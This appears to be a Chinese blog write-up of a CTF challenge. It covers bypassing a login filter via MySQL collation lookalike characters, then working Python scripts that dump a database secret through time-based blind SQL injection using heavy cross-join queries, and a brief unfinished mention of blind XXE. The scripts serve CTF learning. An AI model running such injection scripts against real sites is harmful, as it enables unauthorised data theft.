一道结合了mysql字符集collation,heavy query,blind xxe的综合题目

5 篇文章 0 订阅
1 篇文章 0 订阅

一道结合了mysql字符集collation,heavy query,blind xxe的综合题目

2019年4月8日11:07:51

###一,mysql字符集collation###

REFERENCE:
mysql字符集与比对方法collation
Collation chart for utf8_general_ci, European alphabets (MySQL 6.0.4)

主页面非常简单,只有一个登陆功能,提示要以admin账户登陆。

登陆无论输入什么都是username or password error!,输入一些特殊字符还会触发waf:

解题思路:

  1. 猜测这道题考的是sql注入,且要求用admin账户登陆
  2. 我们要做的是通过尝试来猜测后台拼接语句
  3. 通过sqli得到admin密码或者cookie之类的

用字典爆破了一下,发现过滤了很多关键字:

看来题目并不想让我们sqli,扫一下后台果然发现robots.txt:

.........login.php

$username = preg_replace("/[0-9a-zA-Z\[\]\=]/", "", $username);
$regex ="/`|'|\"|=|>|<|\/\*|;|\.\.\/|\.\/|,|\^|#|--|&/i";
if(preg_match($regex,$username))
{
die("hacker?");
}
$sql="SELECT * FROM users WHERE username='".$username."'";

.........

后台把a-zA-Z都替换成了空,还要我们传入admin,这里考的其实是个trick,见REFERENCE
于是通过查表替换admin为%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1。但是遇到了新的问题:修改后通过脚本发送后还是没有绕过:

url="http://ip:port/login.php"
data={
    'username':"%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1",
    'password':"1"
}
cookies={
    "PHPSESSID":"fceeqdmu5cj7k32tjlh7b63nk5"
}
r=requests.post(url=url,data=data,cookies=cookies)
print r.content

接着在浏览器端用hackbar提交依然错误,并且参数还错误解析为:

可能是浏览器对unicode编码的解析问题,最后只能再在bp上试一下:

没想到,竟然成功了,进入了一个新的页面。看来是python和浏览器对于unicode都有自己的想法,要弄清楚这个问题还得之后再深究一下。

二,heqvy sql

导航栏有一个 content 链接,url是http://ip:port/content.php?id=1,页面也提示是sqli,这下才真的是sql注入

  1. 在url中常规sql fuzz:

  1. 再测试一下联合查询注入和报错注入发现没有任何反应,根据过滤sleep() 和 benchmark(),估计是考时间盲注,这里可以用到heavy query,脚本如下:

     import requests
     cookies={
     'PHPSESSID':"fceeqdmu5cj7k32tjlh7b63nk5"
     }
     url = "http://ip:port/content.php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23"
     data = ""
     for i in range(1,1000):
         for j in range(33,127):
             #payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j)  #heavysql
             #payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #content,secret,users
             #payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='secret'),%s,1))=%s)" % (i, j) #id,secret
             payload = "(ascii(substr((select secret from secret limit 1),%s,1))=%s)" % (i, j) #you can find flag in./wwwwwwrittttteeee.php
             payload_url = url%(payload)
             try:
                 r = requests.get(url=payload_url,cookies=cookies,timeout=3)
     			#需注意这里的timeout需要根据网络情况适时调整
             except:
                 data +=chr(j)
                 print data
                 break
    

得到提示./wwwwwwrittttteeee.php,访问之

脚本多种写法:

除了用ascii(substr())或者ascii(mid())之外,还可以用regexp '^$'的方法,利用正则不用担心中间某次因为网络状况不好而出错,因为每次匹配都是根据之前匹配出的字符串接之后的字符串来匹配。

但是也有一个缺点,就是如果目标字符串中有单个字符的元字符例如?*.^$+,需要提前进行转义,需要注意的是,转义需要添加两个\

或者用另外一个办法,将查询到的字符串转换为十六进制,但是这样有个新的问题就是会将原字符串扩充为两倍(十进制字符转成十六进制数),如果是时间盲注则会大大增加时间成本,但是如果不是时间盲注则会缩短时间成本。附脚本如下:

import requests
import string

url ='''http://ip:port/content.php?id=1'or %s and (SELECT count(*) FROM information_schema.columns A, 
information_schema.columns B, information_schema.columns C)--+'''

cookies={
    'PHPSESSID':"h6f1rh7vpjf2do6ko1dort31k4"
}

#payload="(database() regexp '^%s')"       #heavysql
#payload="(select group_concat(table_name) from information_schema.tables where table_schema='heavysql') regexp '^%s'"  #content,secret,users
#payload="(select group_concat(column_name) from information_schema.columns where table_name='users') regexp '^%s'"  #id,username,password
#payload="(select group_concat(column_name) from information_schema.columns where table_name='secret') regexp '^%s'"  #id,secret
payload="(select secret from secret limit 0,1) regexp '^%s'"

flag=""
for i in range (1,100):
	print i
    for letter in string.printable:
        if letter in "^*+$.":
            letter='\\\\%s'%(letter)
        tpayload=payload%(flag+letter)
        turl = url%(tpayload)
        try:
            r=requests.get(url=turl,cookies=cookies,timeout=3)
            #print r.content
        except:
            flag=flag+letter
            print flag
            break

第二种方法,将查询到的字符串转为十六进制

payload="(select hex(secret) from secret limit 0,1) regexp '^%s'" #you+can+find+flag+in
hex_tables="0123456789abcdef"        
flag=''         
for i in range(1,100):
    print i
    #for letter in string.printable:
    for letter in hex_tables:
        tpayload=payload%(flag+letter)
        turl = url%(tpayload)
        try:
            r=requests.get(url=turl,cookies=cookies,timeout=3)
            #print r.content
        except:
            flag=flag+letter
            print flag
			break              
#a="796f752063616e2066696e6420666c616720696e2e2f77777777777772697474747474656565652e706870"
#flag = ''.join([chr(int(b, 16)) for b in [a[i:i+2] for i in range(0, len(a), 2)]]) 

三,Blind XXE

看页面框内有提示是XXE,尝试了一下没有回显,猜测是Blind xxe,需要服务器接收信息,但是暂时还没找到合适的服务器,这道题就先做到这里了,收获很多。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值